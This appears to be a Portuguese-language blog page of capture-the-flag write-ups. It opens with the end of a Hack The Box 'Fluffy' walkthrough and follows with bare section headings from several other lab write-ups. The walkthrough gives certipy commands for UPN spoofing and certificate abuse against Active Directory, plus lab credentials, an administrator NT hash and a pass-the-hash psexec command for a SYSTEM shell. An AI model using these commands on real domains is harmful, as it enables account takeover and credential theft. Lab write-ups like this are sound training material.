Alteramos o User Principal Name (UPN) da conta de serviço para o do Administrador para podermos requisitar um certificado em seu nome.

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update

4. Requisitar Certificado como Administrator

certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User' -upn 'administrator@fluffy.htb'

5. Reverter UPN (Boa prática)

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update

6. Autenticar com o Certificado e Obter Hash de Admin

certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

Hash NT do Administrador: 8da83a3fa618b6e3a00e93f676c92a6e

💣 Execução Final: Pass-the-Hash

Com o hash NT do Administrador, usamos psexec.py do Impacket para obter um shell como SYSTEM.

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e Administrator@10.10.11.69

SYSTEM FLAG PWNED 👑

OffSec

Reactor - HTB (Linux | Easy)

🏴 Reactor - HTB (Linux | Easy)

1. Reconhecimento e Enumeração

Resultados Relevantes:

2. Foothold: Acesso Inicial

3. Escalação de Privilégios (Privesc)

Exploração do Node.js Inspector

A) Extração do Session UUID

B) Injeção de Código via WebSocket

C) Execução e Root Shell

4. Post-Mortem e Lições Aprendidas

Cap - HTB (Linux | Easy)

🏴 Cap - HTB (Linux | Easy)

🛠️ Ferramentas Utilizadas

🔍 Fase 1: Reconhecimento

Nmap - Scan Inicial

Nmap - Scan Completo

🌐 Fase 2: Enumeração Web

Descobrindo IDOR

📦 Fase 3: Análise do PCAP

Extraindo Credenciais

🔐 Fase 4: Acesso Inicial (Password Reuse)

⬆️ Fase 5: Escalação de Privilégios

Explorando cap_setuid

🗺️ Attack Path

Try Hack Me - OverPass

Try Hack Me - OverPass

1. Reconhecimento e Enumeração

1.1. Varredura com Nmap

1.2. Enumeração de Diretórios Web

2. Acesso Inicial (SSH)

2.1. Quebrando a Senha da Chave SSH

2.2. Obtendo Acesso

2.3. Capturando a Flag do Usuário

3. Escalação de Privilégios

3.1. Identificando o Vetor (Cron Job)

3.2. Exploração (Crontab Hijacking)

3.3. Capturando a Flag Root

TryHackMe - Brute It

TryHackMe - Brute It

1. Reconhecimento e Enumeração

1.1. Varredura com Nmap

1.2. Enumeração de Diretórios Web

2. Acesso Inicial

2.1. Análise do Painel de Administração

2.2. Brute Force com Hydra

2.3. Obtendo e Quebrando a Chave SSH

2.4. Obtendo Acesso e Capturando a Flag do Usuário

3. Escalação de Privilégios

3.1. Identificando o Vetor (sudo)

3.2. Exploração e Quebra da Senha Root

3.3. Obtendo Acesso Root e Capturando a Flag

Try Hack Me - RootMe

Try Hack Me - RootMe

1. Reconhecimento e Enumeração

1.1. Varredura com Nmap

1.2. Enumeração de Diretórios Web

2. Acesso Inicial (Shell Reverso)

2.1. Preparando o Payload

2.2. Execução

2.3. Capturando a Flag do Usuário

3. Escalação de Privilégios

3.1. Identificando o Vetor

3.2. Exploração com GTFOBins

3.3. Capturando a Flag Root

TryHackMe - Simple CTF

TryHackMe - Simple CTF

1. Reconhecimento e Enumeração

1.1. Varredura com Nmap

1.2. Enumeração de Diretórios Web

2. Exploração (SQL Injection)

2.1. Identificação da Vulnerabilidade

2.2. Execução do Exploit

3. Acesso Inicial e Enumeração Interna

3.1. Conexão SSH

3.2. Capturando a Flag do Usuário

3.3. Enumeração de Usuários

4. Escalação de Privilégios

4.1. Identificando o Vetor

3.1. Identificando o Vetor (`sudo`)